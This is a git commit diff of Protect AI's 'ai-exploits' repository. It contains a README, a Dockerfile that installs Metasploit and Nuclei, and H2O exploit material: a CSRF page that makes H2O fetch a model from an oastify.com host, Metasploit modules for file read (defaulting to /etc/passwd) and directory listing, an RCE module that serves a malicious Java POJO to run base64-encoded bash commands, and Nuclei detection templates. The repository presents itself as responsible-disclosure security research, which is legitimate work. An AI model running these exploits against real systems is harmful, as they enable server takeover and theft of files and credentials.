Initial commit for release 🗡️
commit
f95013b7e9
|
@ -0,0 +1,160 @@
|
|||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
*.py,cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
cover/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
db.sqlite3-journal
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
.pybuilder/
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
# For a library or package, you might want to ignore these files since the code is
|
||||
# intended to run in multiple environments; otherwise, check them in:
|
||||
# .python-version
|
||||
|
||||
# pipenv
|
||||
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||
# install all needed dependencies.
|
||||
#Pipfile.lock
|
||||
|
||||
# poetry
|
||||
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
|
||||
#poetry.lock
|
||||
|
||||
# pdm
|
||||
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
|
||||
#pdm.lock
|
||||
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
|
||||
# in version control.
|
||||
# https://pdm.fming.dev/#use-with-ide
|
||||
.pdm.toml
|
||||
|
||||
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
|
||||
__pypackages__/
|
||||
|
||||
# Celery stuff
|
||||
celerybeat-schedule
|
||||
celerybeat.pid
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
|
||||
# pytype static type analyzer
|
||||
.pytype/
|
||||
|
||||
# Cython debug symbols
|
||||
cython_debug/
|
||||
|
||||
# PyCharm
|
||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
|
@ -0,0 +1,18 @@
|
|||
FROM golang:latest
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get -y install python3 python3-setuptools python3-pip python3-requests
|
||||
|
||||
WORKDIR /root
|
||||
|
||||
RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
|
||||
ENV PYTHONUNBUFFERED 1
|
||||
ENV PYTHONPATH=/opt/metasploit-framework/embedded/framework/lib/msf/core/modules/external/python
|
||||
|
||||
COPY **/msfmodules/*.py /root/.msf4/modules/exploits/protectai/
|
||||
COPY **/nuclei-templates/*.yaml /root/nuclei-templates/
|
|
@ -0,0 +1,13 @@
|
|||
Copyright [2023] [Protect AI]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
|
@ -0,0 +1,104 @@
|
|||
<div align="center">
|
||||
|
||||
# AI Exploits
|
||||
|
||||
<img width="250" src="https://github.com/protectai/ai-exploits/assets/5151193/4cd73d59-c97e-4df0-abb0-6a0a558e387e" alt="AI Exploits Logo">
|
||||
|
||||
</div>
|
||||
|
||||
The AI world has a security problem and it's not just in the inputs given to LLMs such as ChatGPT. Based
|
||||
on research done by [Protect AI](https://protectai.com) and independent security experts on the [Huntr](https://huntr.com) Bug Bounty Platform, there are far more impactful and practical attacks
|
||||
against the tools, libraries and frameworks used to build, train, and deploy machine learning models. Many of these
|
||||
attacks lead to complete system takeovers and/or loss of sensitive data, models, or credentials most often without the need
|
||||
for authentication.
|
||||
|
||||
With the release of this repository, [Protect AI](https://protectai.com) hopes to demystify to the Information Security community what pratical attacks against AI/Machine Learning infrastructure look like in the real world and raise awareness to the amount of vulnerable components that currently exist in the AI/ML ecosystem.
|
||||
|
||||
## Overview
|
||||
|
||||
This repository, **ai-exploits**, is a collection of exploits and scanning templates for responsibly disclosed vulnerabilities affecting machine learning tools.
|
||||
|
||||
Each vulnerable tool has a number of subfolders containing three types of utilities: [Metasploit](https://github.com/rapid7/metasploit-framework) modules, [Nuclei](https://github.com/projectdiscovery/nuclei) templates
|
||||
and CSRF templates. Metasploit modules are for security professionals looking to exploit the vulnerabilies and Nuclei templates are for scanning a large number of remote servers to determine if they're vulnerable.
|
||||
|
||||
## Setup & Usage
|
||||
|
||||
The easiest way to use the modules and scanning templates is to build and run the Docker image provided by the `Dockerfile` in this repository. The Docker image will have Metasploit and Nuclei already installed along with all the necessary configuration.
|
||||
|
||||
### Docker
|
||||
|
||||
1. Build the image:
|
||||
|
||||
```bash
|
||||
docker build -t protectai/ai-exploits https://github.com/protectai/AI-exploits
|
||||
```
|
||||
|
||||
2. Run the docker image:
|
||||
|
||||
```bash
|
||||
docker run -it --rm protectai/ai-exploits /bin/bash
|
||||
```
|
||||
|
||||
The latter command will drop you into a `bash` session in the container with `msfconsole` and `nuclei` ready to go.
|
||||
|
||||
### Using the Metasploit Modules
|
||||
|
||||
#### With Docker
|
||||
|
||||
Start the Metasploit console (the new modules will be available under the `exploits/protectai` category), load a module, set the options, and run the exploit.
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
msf6 > use exploit/protectai/ray_job_rce
|
||||
msf6 exploit(protectai/ray_job_rce) > set RHOSTS <target IP>
|
||||
msf6 exploit(protectai/ray_job_rce) > run
|
||||
```
|
||||
|
||||
#### With Metasploit Installed Locally
|
||||
|
||||
Create a folder `~/.msf4/modules/exploits/protectai` and copy the exploit modules into it.
|
||||
|
||||
```bash
|
||||
mkdir -p ~/.msf4/modules/exploits/protectai
|
||||
cp ai-exploits/ray/msfmodules/* ~/.msf4/modules/exploits/protectai
|
||||
msfconsole
|
||||
msf6 > use exploit/protectai/<exploit_name.py>
|
||||
```
|
||||
|
||||
### Using Nuclei Templates
|
||||
|
||||
Nuclei is a vulnerability scanning engine which can be used to scan large numbers of servers for known vulnerabilities in web applications and networks.
|
||||
|
||||
Navigate to nuclei templates folder such as `ai-exploits/mlflow/nuclei-templates`. In the Docker container these are stored in the `/root/nuclei-templates` folder. Then simply point to the template file and the target server.
|
||||
```
|
||||
cd ai-exploits/mlflow/nuclei-templates
|
||||
nuclei -t mlflow-lfi.yaml -u http://<target>:<port>`
|
||||
```
|
||||
|
||||
### Using CSRF Templates
|
||||
|
||||
Cross-Site Request Forgery (CSRF) vulnerabilities enable attackers to stand up a web server hosting a malicious HTML page
|
||||
that will execute a request to the target server on behalf of the victim. This is a common attack vector for exploiting
|
||||
vulnerabilities in web applications, including web applications which are only exposed on the localhost interface and
|
||||
not to the broader network. Below is a simple demo example of how to use a CSRF template to exploit a vulnerability in a
|
||||
web application.
|
||||
|
||||
Start a web server in the csrf-templates folder. Python allows one to stand up a simple web server in any
|
||||
directory. Navigate to the template folder and start the server.
|
||||
|
||||
```bash
|
||||
cd ai-exploits/ray/csrf-templates
|
||||
python3 -m http.server 9999
|
||||
```
|
||||
|
||||
Now visit the web server address you just stood up (http://127.0.0.1:9999) and hit F12 to open
|
||||
the developer tools, then click the Network tab. Click the link to ray-cmd-injection-csrf.html. You should see that
|
||||
the browser sent a request to the vulnerable server on your behalf.
|
||||
|
||||
## Contribution Guidelines
|
||||
|
||||
We welcome contributions to this repository. Please read our [Contribution Guidelines](CONTRIBUTING.md) for more information on how to contribute.
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the [Apache 2.0 License](LICENSE).
|
|
@ -0,0 +1,60 @@
|
|||
# H2O Vulnerabilities and Exploits
|
||||
|
||||
## Overview
|
||||
H2O-3 is a low-code machine learning platform that enables data scientists and analysts to build and deploy machine
|
||||
learning models using an easy web interface by just importing their data. A default, out of the box installation has no
|
||||
authentication and is exposed to the network.
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
### CSRF (Cross-Site Request Forgery)
|
||||
|
||||
- **Description**: H2O is vulnerable to CSRF due to the lack of proper CSRF protection. Attackers can exploit this vulnerability to perform unwanted actions on a web application in which the user is currently authenticated.
|
||||
- **Impact**: This could lead to unauthorized actions being taken on behalf of the authenticated user.
|
||||
|
||||
### RCE (Remote Code Execution)
|
||||
|
||||
- **Description**: H2O allows the importation of POJO models which are Java code objects. This can be exploited to execute arbitrary Java code on the server, leading to Remote Code Execution (RCE).
|
||||
- **Impact**: Since H2O does not require authentication by default and is exposed to the network, it can be compromised remotely, allowing an attacker to take full control of the server.
|
||||
|
||||
### LFI (Local File Inclusion)
|
||||
|
||||
- **Description**: There is a Local File Inclusion (LFI) vulnerability in H2O, where a remote API call can be made to read the entire file system on the server.
|
||||
- **Impact**: This vulnerability allows an attacker to read sensitive files from the server, leading to information disclosure and potentially further exploitation.
|
||||
|
||||
## Utilities
|
||||
|
||||
### Metasploit Modules
|
||||
|
||||
- **h2o_pojo_import_rce**: Exploits the RCE vulnerability to gain a remote shell on the server.
|
||||
- **h2o_importfiles_lfi**: Exploits the LFI vulnerability to read files from the server's file system.
|
||||
- **h2o_typeahead_api**: Exploits the ability of H2O to list files and folders on the vulnerable server.
|
||||
|
||||
### CSRF Template
|
||||
|
||||
- **h2o-rce-csrf** - A pre-crafted HTML template that can be used to demonstrate the CSRF to RCE vulnerability in H2O.
|
||||
|
||||
### Nuclei Template
|
||||
|
||||
- **h2o-importfiles-lfi**: Identifies LFI vulnerabilities through the import files functionality in H2O.
|
||||
- **h2o-apl**: Scans for the arbitrary path lookup endpoints in H2O.
|
||||
- **h2o-dashboard**: Looks for H2O dashboard endpoints that may be unprotected.
|
||||
- **h2o-pojo-rce**: Scans for the RCE vulnerability via POJO model importation in H2O.
|
||||
|
||||
## Reports
|
||||
|
||||
- **@DanMcInerney** - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
|
||||
- **@p0cas** - https://huntr.com/bounties/9881569f-dc2a-437e-86b0-20d4b70ae7af/
|
||||
- **Sierra Haex** - https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||
|
||||
## Contribution
|
||||
|
||||
Contributions to improve the exploits or documentation are welcome.
|
||||
|
||||
## License
|
||||
|
||||
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,31 @@
|
|||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
<body>
|
||||
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
|
||||
<input type="hidden" name="model_id" value="generic-68510df2-f19a-4871-8285-9321a7ef6d51" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
|
||||
<input type="hidden" name="model_id" value="generic-68510df2-f19a-4871-8285-9321a7ef6d51" />
|
||||
<input type="hidden" name="path" value="http://8y7xrazsiuejf3d8u775uhspdgj77yvn.oastify.com" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
|
||||
<input type="hidden" name="model_id" value="generic-68510df2-f19a-4871-8285-9321a7ef6d51" />
|
||||
<input type="hidden" name="path" value="http://8y7xrazsiuejf3d8u775uhspdgj77yvn.oastify.com" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<form action="http://localhost:54321/3/ModelBuilders/generic" method="POST">
|
||||
<input type="hidden" name="model_id" value="generic-68510df2-f19a-4871-8285-9321a7ef6d51" />
|
||||
<input type="hidden" name="path" value="http://8y7xrazsiuejf3d8u775uhspdgj77yvn.oastify.com" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
history.pushState('', '', '/');
|
||||
document.forms[0].submit();
|
||||
document.forms[1].submit();
|
||||
document.forms[2].submit();
|
||||
document.forms[3].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,100 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Request, Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'H2O arbitrary file read',
|
||||
'description': '''
|
||||
H2O is vulnerable to an local file include in it's ImportFiles API endpoint
|
||||
''',
|
||||
'authors': [
|
||||
'byt3bl33d3r <marcello@protectai.com>',
|
||||
'danmcinerney <dan@protectai.com>'
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'},
|
||||
{'type': 'cve', 'ref': 'CVE-2023-6038'}
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 54321},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
try:
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
s = Session()
|
||||
r = s.get(f"{base_url}/3/ImportFiles", params={"path": args["filepath"]})
|
||||
logging.debug(r.url)
|
||||
|
||||
r = s.post(f"{base_url}/3/ParseSetup", data={"source_frames": f"nfs:/{args['filepath']}"})
|
||||
logging.debug(r.url)
|
||||
|
||||
logging.debug(f"{r.status_code} - {len(r.text)}")
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
file_content = '\n'.join([ d[0] for d in r.json()['data'] ])
|
||||
logging.info(file_content)
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,192 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
import threading
|
||||
import base64
|
||||
import socket
|
||||
import uuid
|
||||
import time
|
||||
from http.server import SimpleHTTPRequestHandler, HTTPServer
|
||||
from urllib.parse import urlparse
|
||||
|
||||
from metasploit import module
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'H2O POJO model import RCE',
|
||||
'description': '''
|
||||
RCE in H2O dashboard by (ab)using it's POJO Model import feature
|
||||
''',
|
||||
'authors': [
|
||||
'sierrabearchell'
|
||||
'byt3bl33d3r <marcello@protectai.com>',
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/'},
|
||||
{'type': 'cve', 'ref': 'CVE-2023-6018'}
|
||||
],
|
||||
'type': 'remote_exploit_cmd_stager',
|
||||
'targets': [
|
||||
{'platform': 'linux', 'arch': 'x64'},
|
||||
{'platform': 'linux', 'arch': 'x86'}
|
||||
],
|
||||
'payload': {
|
||||
'command_stager_flavor': 'wget'
|
||||
},
|
||||
'options': {
|
||||
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'touch /tmp/HACKED'},
|
||||
'serverport': {'type': 'port', 'description': 'HTTP server port to bind to', 'required': True, 'default': 8081},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 54321},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
POJO_PAYLOAD = '''
|
||||
public class gbm_pojo {{
|
||||
public gbm_pojo() {{
|
||||
try {{
|
||||
String command = "bash -c {{echo,{}}}|{{base64,-d}}|{{bash,-i}}" ;
|
||||
Process proc = Runtime.getRuntime().exec(command);
|
||||
}} catch (Exception e) {{
|
||||
e.printStackTrace();
|
||||
}}
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
|
||||
class H2OExploitHandler(SimpleHTTPRequestHandler):
|
||||
MSF_ARGS = None
|
||||
RETRIEVED = False
|
||||
|
||||
@property
|
||||
def url(self):
|
||||
return urlparse(self.path)
|
||||
|
||||
def do_GET(self) -> None:
|
||||
self.send_response(200)
|
||||
#self.send_header("Content-Type", "application/json")
|
||||
self.end_headers()
|
||||
|
||||
if self.url.path == "/gbm_pojo.java":
|
||||
logging.info("H2O asked for POJO file!")
|
||||
|
||||
b64_command = base64.b64encode(H2OExploitHandler.MSF_ARGS['command'].encode())
|
||||
bad_pojo = POJO_PAYLOAD.format(b64_command.decode())
|
||||
logging.debug(bad_pojo)
|
||||
|
||||
self.wfile.write(bad_pojo.encode())
|
||||
H2OExploitHandler.RETRIEVED = True
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def trigger_rce(session, base_url, callback_url):
|
||||
model_id = f"generic-{uuid.uuid4()}"
|
||||
|
||||
logging.info(f"Attempting to register model '{model_id}'...")
|
||||
session.post(f"{base_url}/3/ModelBuilders/generic/parameters", data = {'model_id': model_id})
|
||||
|
||||
#logging.info('Asking H2O-3 to retrieve the model from our webserver...')
|
||||
#session.post(f"{base_url}/3/ModelBuilders/generic/parameters", data = {'model_id': model_id, 'path': callback_url})
|
||||
|
||||
#logging.info('Asking H2O-3 to retrieve the model from our webserver (2/2)...')
|
||||
#session.post(f"{base_url}/3/ModelBuilders/generic/parameters", data = {'model_id': model_id, 'path': callback_url})
|
||||
|
||||
logging.info('Triggering the retrieval, compilation & execution of the malicious model')
|
||||
r = session.post(f"{base_url}/3/ModelBuilders/generic", data = {'model_id': model_id, 'path': callback_url})
|
||||
return r
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
server_ip = socket.gethostbyname(socket.gethostname())
|
||||
server_port = args['serverport']
|
||||
|
||||
H2OExploitHandler.MSF_ARGS = args
|
||||
server = HTTPServer(
|
||||
(server_ip, server_port),
|
||||
H2OExploitHandler
|
||||
)
|
||||
|
||||
logging.info(f"Starting HTTP Server on {server_ip}:{server_port}")
|
||||
server_thread = threading.Thread(target=server.serve_forever)
|
||||
server_thread.daemon = True
|
||||
server_thread.start()
|
||||
|
||||
try:
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
s = Session()
|
||||
s.hooks = {
|
||||
'response': lambda r, *args, **kwargs: r.raise_for_status()
|
||||
}
|
||||
|
||||
r = trigger_rce(s, base_url, f"http://{server_ip}:{server_port}/gbm_pojo.java")
|
||||
|
||||
except requests.exceptions.HTTPError as e:
|
||||
logging.debug(f"{r.status_code} - body length: {len(r.text)}")
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
wait_loops = 0
|
||||
while wait_loops < 5:
|
||||
if H2OExploitHandler.RETRIEVED:
|
||||
break
|
||||
|
||||
logging.info(f"Waiting on POJO retrieval ({wait_loops}/5)")
|
||||
time.sleep(0.5)
|
||||
wait_loops += 1
|
||||
|
||||
job_data = r.json()
|
||||
logging.info(f"Exploit succeeded (Job ID: {job_data['job']['key']['name']})")
|
||||
#logging.info(job_data)
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,96 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Request, Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'H2O arbitrary path lookup',
|
||||
'description': '''
|
||||
H2O allows for arbitrary path lookup via it's Typehead API endpoint
|
||||
''',
|
||||
'authors': [
|
||||
'byt3bl33d3r <marcello@protectai.com>',
|
||||
'danmcinerney <dan@protectai.com>'
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc'},
|
||||
#{'type': 'cve', 'ref': ''}
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'path': {'type': 'string', 'description': 'Filepath to list directory contents', 'required': True, 'default': '.'},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 54321},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
try:
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
|
||||
r = requests.get(f"{base_url}/3/Typeahead/files", params={"src": args['path'], "limit": 10})
|
||||
r.raise_for_status()
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
|
||||
logging.info(f"Directory Contents: \n{chr(10).join(r.json()['matches']) }")
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,31 @@
|
|||
id: h2o-arbitrary-path-lookup
|
||||
|
||||
info:
|
||||
name: H2O arbitrary path lookup
|
||||
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: medium
|
||||
description: H2O allows for arbitrary path lookup via it's Typehead API endpoint
|
||||
reference:
|
||||
- https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
|
||||
classification:
|
||||
cwe-id: CWE-200
|
||||
tags: h2o-3,h2o,ml,huntr,protectai
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "/bin"
|
||||
- "/boot"
|
||||
- "/sbin"
|
|
@ -0,0 +1,37 @@
|
|||
id: h2o-dashboard
|
||||
|
||||
info:
|
||||
name: H2O Dashboard Exposure
|
||||
author: byt3bl33d3r
|
||||
severity: high
|
||||
description: H2o dashboard by default has no authentication and can lead to RCE on the host.
|
||||
metadata:
|
||||
shodan-query: title:"H2O Flow"
|
||||
tags: misconfig,exposure,h2o,ml,huntr,protectai
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
redirects: true
|
||||
max-redirects: 1
|
||||
|
